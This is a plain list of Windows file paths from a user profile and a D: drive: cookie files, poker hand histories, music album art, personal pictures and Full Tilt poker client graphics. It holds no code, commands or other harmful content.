C:\Users\Tim\Cookies\[email protected][2].txt
C:\Users\Tim\Cookies\[email protected][1].txt
C:\Users\Tim\Cookies\[email protected][2].txt
C:\Users\Tim\Cookies\[email protected][1].txt
C:\Users\Tim\Cookies\[email protected][2].txt
C:\Users\Tim\Desktop\Cash5_ogr.pdf
C:\Users\Tim\Desktop\Play3Day_ogr.pdf
C:\Users\Tim\Desktop\bills jokes.txt
C:\Users\Tim\Desktop\comcast.txt
C:\Users\Tim\Desktop\jokes.txt
C:\Users\Tim\Desktop\visitWillardCybulski.pdf
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go (265652768), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go (265653021), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go (265653454), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go (265653717), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go (265653748), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go - (265652768) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go - (265652773) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go - (265653021) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go - (265653454) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go - (265653717) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140323 250 Play Money Sit & Go - (265653748) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go (265680319), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go (265680940), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go (265681208), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go (265681921), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go (265682167), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go - (265680319) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go - (265680940) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go - (265681208) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go - (265681921) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140324 250 Play Money Sit & Go - (265682167) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140325 2,000 Play Money Sit & Go (265708289), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140325 2,000 Play Money Sit & Go - (265708289) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140325 Play Chip Step 1 (265708430), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140325 Play Chip Step 1 - (265708430) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140325 Play Chip Step 2 (265708666), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140325 Play Chip Step 2 (265708821), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140325 Play Chip Step 2 - (265708666) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140325 Play Chip Step 2 - (265708821) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 1 (265764729), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 1 (265764737), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 1 (265764739), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 1 (265766319), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 1 - (265764729) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 1 - (265764737) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 1 - (265764739) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 1 - (265766319) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 2 (265765663), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140327 Play Chip Step 2 - (265765663) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140330 1,000 Play Money Sit & Go (265855996), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140330 1,000 Play Money Sit & Go - (265855996) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140331 Play Chip Step 2 (265884927), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140331 Play Chip Step 2 (265884975), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140331 Play Chip Step 2 (265885023), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140331 Play Chip Step 2 - (265884927) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140331 Play Chip Step 2 - (265884975) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140331 Play Chip Step 2 - (265885023) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140402 3,000 Play Money Sit & Go (265944660), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140402 3,000 Play Money Sit & Go - (265944660) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140402 Play Chip Step 2 (265944511), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140402 Play Chip Step 2 - (265944511) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go (266010516), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go (266016078), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go (266017675), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go (266020980), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go (266033993), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go - (266010516) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go - (266016078) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go - (266017675) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go - (266020980) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 1,000 Play Money Sit & Go - (266033993) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 300 Play Money NTTG SNG (266020827), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 300 Play Money NTTG SNG - (266020827) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 300 Play Money Sit & Go (266017321), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 300 Play Money Sit & Go (266033285), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 300 Play Money Sit & Go (266033299), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 300 Play Money Sit & Go - (266017321) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 300 Play Money Sit & Go - (266033285) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 300 Play Money Sit & Go - (266033299) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 Play Chip Step 1 (266020018), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 Play Chip Step 1 (266029189), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 Play Chip Step 1 - (266020018) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 Play Chip Step 1 - (266029189) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 Play Chip Step 2 (266016731), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 Play Chip Step 2 (266033354), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 Play Chip Step 2 - (266016731) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140405 Play Chip Step 2 - (266033354) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140406 300 Play Money Sit & Go (266033952), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140406 300 Play Money Sit & Go - (266033952) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140406 Play Chip Step 1 (266054716), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140406 Play Chip Step 1 - (266054716) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140406 Play Chip Step 2 (266060705), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140406 Play Chip Step 2 - (266060705) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140411 1,000 Play Money Sit & Go (266201654), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140411 1,000 Play Money Sit & Go - (266201654) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140411 Play Chip Step 2 (266201538), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140411 Play Chip Step 2 (266201765), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140411 Play Chip Step 2 (266201774), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140411 Play Chip Step 2 - (266201538) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140411 Play Chip Step 2 - (266201765) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140411 Play Chip Step 2 - (266201774) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140413 1,000 Play Money Sit & Go (266231542), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140413 1,000 Play Money Sit & Go - (266231542) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140413 300 Play Money NTTG SNG (266231796), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140413 300 Play Money NTTG SNG (266232249), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140413 300 Play Money NTTG SNG - (266231796) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140413 300 Play Money NTTG SNG - (266232249) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140413 Play Chip Step 1 (266231069), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140413 Play Chip Step 1 - (266231069) - Summary.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140430 1,000 Play Money Sit & Go (266736481), NL Hold'em.txt
C:\Users\Tim\Documents\HandHistory\Mickey Eyes\FT20140430 1,000 Play Money Sit & Go - (266736481) - Summary.txt
C:\Users\Tim\Downloads\Dr. Mario.zip
C:\Users\Tim\Music\Buddy Guy - Junior Wells\Play the Blues\AlbumArtSmall.jpg
C:\Users\Tim\Music\Buddy Guy - Junior Wells\Play the Blues\AlbumArt_{FA7F9006-10DD-46E1-9945-D71DCCE2CECC}_Large.jpg
C:\Users\Tim\Music\Buddy Guy - Junior Wells\Play the Blues\AlbumArt_{FA7F9006-10DD-46E1-9945-D71DCCE2CECC}_Small.jpg
C:\Users\Tim\Music\Buddy Guy - Junior Wells\Play the Blues\Folder.jpg
C:\Users\Tim\Music\Grateful Dead\In the Dark\AlbumArtSmall.jpg
C:\Users\Tim\Music\Grateful Dead\In the Dark\AlbumArt_{FE6352A4-DB76-4622-BA0A-24BE2D81B380}_Large.jpg
C:\Users\Tim\Music\Grateful Dead\In the Dark\AlbumArt_{FE6352A4-DB76-4622-BA0A-24BE2D81B380}_Small.jpg
C:\Users\Tim\Music\Grateful Dead\In the Dark\Folder.jpg
C:\Users\Tim\Music\Jonny Lang\Lie to Me\AlbumArtSmall.jpg
C:\Users\Tim\Music\Jonny Lang\Lie to Me\AlbumArt_{37E66F61-9386-42A2-8C42-7EA2D73D3A75}_Large.jpg
C:\Users\Tim\Music\Jonny Lang\Lie to Me\AlbumArt_{37E66F61-9386-42A2-8C42-7EA2D73D3A75}_Small.jpg
C:\Users\Tim\Music\Jonny Lang\Lie to Me\Folder.jpg
C:\Users\Tim\Music\Kiss\Creatures of the Night\AlbumArtSmall.jpg
C:\Users\Tim\Music\Kiss\Creatures of the Night\AlbumArt_{3F80348E-203F-4E85-9805-5221A2E9211F}_Large.jpg
C:\Users\Tim\Music\Kiss\Creatures of the Night\AlbumArt_{3F80348E-203F-4E85-9805-5221A2E9211F}_Small.jpg
C:\Users\Tim\Music\Kiss\Creatures of the Night\Folder.jpg
C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 2\AlbumArtSmall.jpg
C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 2\AlbumArt_{35ED3F4E-B65B-4618-AA29-7A4FA079298E}_Large.jpg
C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 2\AlbumArt_{35ED3F4E-B65B-4618-AA29-7A4FA079298E}_Small.jpg
C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 2\Folder.jpg
C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 3\AlbumArtSmall.jpg
C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 3\AlbumArt_{FA7357A0-24AB-405A-950B-923ED259AE3D}_Large.jpg
C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 3\AlbumArt_{FA7357A0-24AB-405A-950B-923ED259AE3D}_Small.jpg
C:\Users\Tim\Music\Muddy Waters\Blues Legend [Golden Stars] Disc 3\Folder.jpg
C:\Users\Tim\Music\Otis Redding\otis redding\AlbumArtSmall.jpg
C:\Users\Tim\Music\Otis Redding\otis redding\AlbumArt_{FCDBDA6E-6555-429D-9C70-1B91266BFE65}_Large.jpg
C:\Users\Tim\Music\Otis Redding\otis redding\AlbumArt_{FCDBDA6E-6555-429D-9C70-1B91266BFE65}_Small.jpg
C:\Users\Tim\Music\Otis Redding\otis redding\Folder.jpg
C:\Users\Tim\Music\Ozzy Osbourne\No More Tears\AlbumArtSmall.jpg
C:\Users\Tim\Music\Ozzy Osbourne\No More Tears\AlbumArt_{1CEA3FC8-46BC-47AD-A2BF-9F89DCE3488E}_Large.jpg
C:\Users\Tim\Music\Ozzy Osbourne\No More Tears\AlbumArt_{1CEA3FC8-46BC-47AD-A2BF-9F89DCE3488E}_Small.jpg
C:\Users\Tim\Music\Ozzy Osbourne\No More Tears\Folder.jpg
C:\Users\Tim\Music\Pantera\Cowboys From Hell\AlbumArtSmall.jpg
C:\Users\Tim\Music\Pantera\Cowboys From Hell\AlbumArt_{4C275976-0088-4192-BEDD-3FD0098193D1}_Large.jpg
C:\Users\Tim\Music\Pantera\Cowboys From Hell\AlbumArt_{4C275976-0088-4192-BEDD-3FD0098193D1}_Small.jpg
C:\Users\Tim\Music\Pantera\Cowboys From Hell\Folder.jpg
C:\Users\Tim\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\AlbumArtSmall.jpg
C:\Users\Tim\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\AlbumArt_{E1066EC4-1E98-4C15-A797-B224E0E13F70}_Large.jpg
C:\Users\Tim\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\AlbumArt_{E1066EC4-1E98-4C15-A797-B224E0E13F70}_Small.jpg
C:\Users\Tim\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\Folder.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-39-59 PM)\AlbumArtSmall.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-39-59 PM)\AlbumArt_{D550CF19-CD70-495C-BE3E-627695F77811}_Large.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-39-59 PM)\AlbumArt_{D550CF19-CD70-495C-BE3E-627695F77811}_Small.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-39-59 PM)\Folder.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-43-51 PM)\AlbumArtSmall.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-43-51 PM)\AlbumArt_{271BAF14-B8E3-4AAF-8CC5-5FDDB5311441}_Large.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-43-51 PM)\AlbumArt_{271BAF14-B8E3-4AAF-8CC5-5FDDB5311441}_Small.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-43-51 PM)\Folder.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-50-21 PM)\AlbumArtSmall.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-50-21 PM)\AlbumArt_{9C87D887-18CC-48C5-A9FC-1F6F30E29CD3}_Large.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-50-21 PM)\AlbumArt_{9C87D887-18CC-48C5-A9FC-1F6F30E29CD3}_Small.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 7-50-21 PM)\Folder.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-28-29 PM)\AlbumArtSmall.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-28-29 PM)\AlbumArt_{35ED3F4E-B65B-4618-AA29-7A4FA079298E}_Large.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-28-29 PM)\AlbumArt_{35ED3F4E-B65B-4618-AA29-7A4FA079298E}_Small.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-28-29 PM)\Folder.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-32-19 PM)\AlbumArtSmall.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-32-19 PM)\AlbumArt_{FA7357A0-24AB-405A-950B-923ED259AE3D}_Large.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-32-19 PM)\AlbumArt_{FA7357A0-24AB-405A-950B-923ED259AE3D}_Small.jpg
C:\Users\Tim\Music\Unknown artist\Unknown album (3-20-2013 8-32-19 PM)\Folder.jpg
C:\Users\Tim\Music\Unknown artist\otis redding\AlbumArtSmall.jpg
C:\Users\Tim\Music\Unknown artist\otis redding\AlbumArt_{FCDBDA6E-6555-429D-9C70-1B91266BFE65}_Large.jpg
C:\Users\Tim\Music\Unknown artist\otis redding\AlbumArt_{FCDBDA6E-6555-429D-9C70-1B91266BFE65}_Small.jpg
C:\Users\Tim\Music\Unknown artist\otis redding\Folder.jpg
C:\Users\Tim\Music\Various Artists\I Asked for Whisky\AlbumArtSmall.jpg
C:\Users\Tim\Music\Various Artists\I Asked for Whisky\AlbumArt_{FCDC89A3-648C-483A-A2F0-78B33650580D}_Large.jpg
C:\Users\Tim\Music\Various Artists\I Asked for Whisky\AlbumArt_{FCDC89A3-648C-483A-A2F0-78B33650580D}_Small.jpg
C:\Users\Tim\Music\Various Artists\I Asked for Whisky\Folder.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\AlbumArtSmall.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\AlbumArt_{E1066EC4-1E98-4C15-A797-B224E0E13F70}_Large.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\AlbumArt_{E1066EC4-1E98-4C15-A797-B224E0E13F70}_Small.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\The Allman Brothers Band\A Decade of Hits 1969-1979\Folder.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\Unknown Album\AlbumArtSmall.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\Unknown Album\AlbumArt_{36CA6AA0-1573-40DB-B371-B69D8B2D38F1}_Large.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\Unknown Album\AlbumArt_{36CA6AA0-1573-40DB-B371-B69D8B2D38F1}_Small.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\Unknown Album\AlbumArt_{4197F8F0-3818-48C6-9DB6-C0DCA5F509FB}_Large.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\Unknown Album\AlbumArt_{4197F8F0-3818-48C6-9DB6-C0DCA5F509FB}_Small.jpg
C:\Users\Tim\Music\iTunes\iTunes Media\Music\Unknown Artist\Unknown Album\Folder.jpg
C:\Users\Tim\Pictures\1300519.jpg
C:\Users\Tim\Pictures\4596812_orig.jpg
C:\Users\Tim\Pictures\Asian%20Hot.jpg
C:\Users\Tim\Pictures\KTSo3-1.jpg
C:\Users\Tim\Pictures\WhiteLace01.jpg
C:\Users\Tim\Pictures\WhiteLace04.jpg
C:\Users\Tim\Pictures\blue_string_bikini.jpg
C:\Users\Tim\Pictures\sexy-brazilian-butts-122.jpg
C:\Users\Tim\Pictures\srv51.jpg
C:\Users\Tim\Pictures\string-bikini1.jpg
C:\Users\Tim\Pictures\vicki_valentine_string_bikini_RRGZkfR_sized.jpg
D:\fulltilt\Graphics\CSChat\CS-Live-Chat-Background.jpg
D:\fulltilt\Graphics\Cashier\Reskinned\Cashier.jpg
D:\fulltilt\Graphics\Cashier\WebDialog\background.jpg
D:\fulltilt\Graphics\Choose-Lobby\Divider-Line.jpg
D:\fulltilt\Graphics\Choose-Lobby\Thumbnail-Browse.jpg
D:\fulltilt\Graphics\Choose-Lobby\Thumbnail-Focused.jpg
D:\fulltilt\Graphics\LNG\Bulgarian\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Chinese Simplified\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Chinese Traditional\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Croatian\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Czech\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Danish\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Dutch\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Finnish\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\French\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\German\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Greek\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Hungarian\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Italian\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Norwegian\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Polish\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Portuguese\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Romanian\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Russian\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Slovakian\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Spanish\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Swedish\Refer_Splash.jpg
D:\fulltilt\Graphics\LNG\Ukrainian\Refer_Splash.jpg
D:\fulltilt\Graphics\LobbyBrowseMode\CustomiseWidgets\background.jpg
D:\fulltilt\Graphics\LobbyBrowseMode\LobbyWidgets\MiniCashierCusomisation\Mini-Cashier.jpg
D:\fulltilt\Graphics\LobbyBrowseMode\LobbyWidgets\MiniCashierCusomisation\Mini-Cashier_NET_ORG.jpg
D:\fulltilt\Graphics\LobbyBrowseMode\background.jpg
D:\fulltilt\Graphics\Lobby\Backgrounds\Refer_Splash.jpg
D:\fulltilt\Graphics\Lobby\Backgrounds\WaterMark-Authentication.jpg
D:\fulltilt\Graphics\Lobby\Backgrounds\loginBg.jpg
D:\fulltilt\Graphics\Log-In\Log-In-BG-Right.jpg
D:\fulltilt\Graphics\Log-In\Log-In-PopUp-BG.jpg
D:\fulltilt\Graphics\MIA\Content\images\generic_mia_1.jpg
D:\fulltilt\Graphics\MIA\Content\images\generic_mia_2.jpg
D:\fulltilt\Graphics\MIA\Content\images\global\background.jpg
D:\fulltilt\Graphics\MIA\Content\images\global\button.jpg
D:\fulltilt\Graphics\MiniLobby\WidgetsPanel\bottom.jpg
D:\fulltilt\Graphics\MiniLobby\WidgetsPanel\middle-bottom.jpg
D:\fulltilt\Graphics\MiniLobby\WidgetsPanel\middle.jpg
D:\fulltilt\Graphics\MiniLobby\WidgetsPanel\top.jpg
D:\fulltilt\Graphics\MiniLobby\background.jpg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\AdrenalineRush.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Beach Scene\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Beach Scene\Table.jpg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Final Table\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Final Table\Table.jpg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Jungle\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Jungle\Table.jpg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Midnight\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Midnight\Table.jpg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Outer Space\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Outer Space\Table.jpg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Plain\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Plain\Table.jpg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Rush_Table.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Ski Lodge\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Ski Lodge\Table.jpg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Table.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Vegas Skyline\EmptySeat.svg
D:\fulltilt\Graphics\NewTable\Classic\Backgrounds\Vegas Skyline\Table.jpg
D:\fulltilt\Graphics\NewTable\Classic\Buttons\Cashout_Cancel.svg
D:\fulltilt\Graphics\NewTable\Classic\Buttons\PlayMoney.svg
D:\fulltilt\Graphics\NewTable\Classic\Buttons\PlayMoneyBottom_On.svg
D:\fulltilt\Graphics\NewTable\Classic\Buttons\PlayMoneyTop_On.svg
D:\fulltilt\Graphics\NewTable\Classic\Buttons\PlayMoney_Off.svg
D:\fulltilt\Graphics\NewTable\Classic\Buttons\PlayMoney_On.svg
D:\fulltilt\Graphics\NewTable\Classic\Buttons\SCD_Off.svg
D:\fulltilt\Graphics\NewTable\Classic\Buttons\SCD_On.svg
D:\fulltilt\Graphics\NewTable\Classic\Elements\OptionMenu.svg
D:\fulltilt\Graphics\NewTable\Classic\Elements\PersistentActionsRx2.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\black_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\black_off_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\black_on.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\black_on_all_badges.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\bronze_off.svg
D:\fulltilt\Graphics\NewTable\Classic\PodBadges\bronze_off_all_badges.svg
